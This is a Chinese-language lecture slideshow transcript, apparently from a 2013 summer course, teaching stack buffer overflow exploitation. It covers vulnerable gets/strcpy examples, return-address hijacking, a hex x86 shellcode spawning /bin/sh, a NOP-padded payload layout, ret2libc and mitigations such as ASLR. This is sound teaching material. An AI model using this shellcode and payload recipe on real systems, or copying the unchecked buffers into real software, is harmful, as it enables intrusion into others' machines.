1 / 19

Stack Overflow

Stack Overflow. Xu Wen PPCA Summer,2013. 何为堆栈溢出. 堆栈:程序运行时存放数据的地方。 溢出:数据太多了,本来预留的空间放不下了,满出来了是为溢出。 例如: char buffer[100]; gets(buffer); //input: 'a'*200 C 语言是没有溢出检查机制的. 溢出的意义何在呢?. 多出来的数据到哪里去了? 按照原来的顺序继续往后放。 会导致什么后果? 覆盖掉其他的有意义的东西。. 补充:小端序. 一个小例子.

edmund
Télécharger la présentation

Stack Overflow

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Stack Overflow Xu Wen PPCA Summer,2013

  2. 何为堆栈溢出 • 堆栈:程序运行时存放数据的地方。 • 溢出:数据太多了,本来预留的空间放不下了,满出来了是为溢出。 • 例如:char buffer[100]; • gets(buffer); • //input: 'a'*200 • C语言是没有溢出检查机制的

  3. 溢出的意义何在呢? • 多出来的数据到哪里去了? • 按照原来的顺序继续往后放。 • 会导致什么后果? • 覆盖掉其他的有意义的东西。

  4. 补充:小端序

  5. 一个小例子 • int main(int argc, char **argv) • { • volatile int modified; • char buffer[64]; • if(argc == 1) { • errx(1, "please specify an argument\n"); • } • modified = 0; • strcpy(buffer, argv[1]); • if(modified == 0x61626364) { • printf("you win\n"); • } else { • printf("you lose\n"); • } • } Argv[1] = 'a'*64 + 'dcba'

  6. 进一步地 • oops,这是可能以前你没有想过的事情。 • 光能修改变量么? • 远远不够,我们可以去执行我们想要执行的代码。 • 代码都写在函数里面,所以先来深入认识一下函数是怎么回事情。

  7. 函数布局 栈顶 地址由底到高 栈底 EIP EIP是程序下一条运行指令的地址 进入函数之前,把函数调用后一条命令的地址入栈 退出函数之后,出栈把返回地址扔给EIP

  8. 脱缰的野马 • 前面说的溢出覆盖,这里的返回地址听我们的。 • 返回地址的控制权意味着控制程序执行流程的控制权。 • OOPS!这到底意味着?

  9. 终于到重点了 我们想要执行的代码 shellcode 凑个字数NOP 返回地址 这里想要执行的代码和凑个字数的位置就是局部变量的位置 代码可能没有那么长,必须要凑一些无关紧要的字数来撑到 返回地址

  10. 在实践中学习 • #include <stdlib.h> • #include <unistd.h> • #include <stdio.h> • #include <string.h> • int main(int argc, char **argv) • { • char buffer[64]; • gets(buffer); • }

  11. 先找到返回地址的位置 最后程序运行到了地址0x62626262(EIP), 成功劫持了程序的运行流。

  12. 内存里是什么样子的? 把0x62626262改成0xbffff2a8之后,就跑到了buffer头上。 buffer(我们的输入)如果是可执行的代码:P

  13. 找一段有趣的代码 • Shellcode • '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' • 执行/bin/sh system(“/bin/sh”);

  14. 设计师 • 精心设计一下 • 21bytes shellcode + • 47bytes Junk (\x90) + • ret_address (\xa8\xf2\xff\xbf)

  15. Ret2reg 提高稳定性(因为栈的地址可能找不准)

  16. ret2libc Payload= Junk+ system_address(overwrite EIP)+ exit_address+ “/bin/bash” 这里exit函数是system的return 而”/bin/bash”是system函数的 参数

  17. Heap overflow 静态变量、动态分配的空间、没有初始化的全局变量等

  18. 防护的措施 • ASLR • 对堆、栈、共享库映射等线性区布局的随机化 • GCC • Buffer + flag + EBP + EIP

  19. Enjoy the idea • Reference: • Smashing The Stack For Fun And Profit. "Aleph One". Phrack 1996 • w00w00 on Heap Overflows by Matt Conover (a.k.a. Shok) 1999

More Related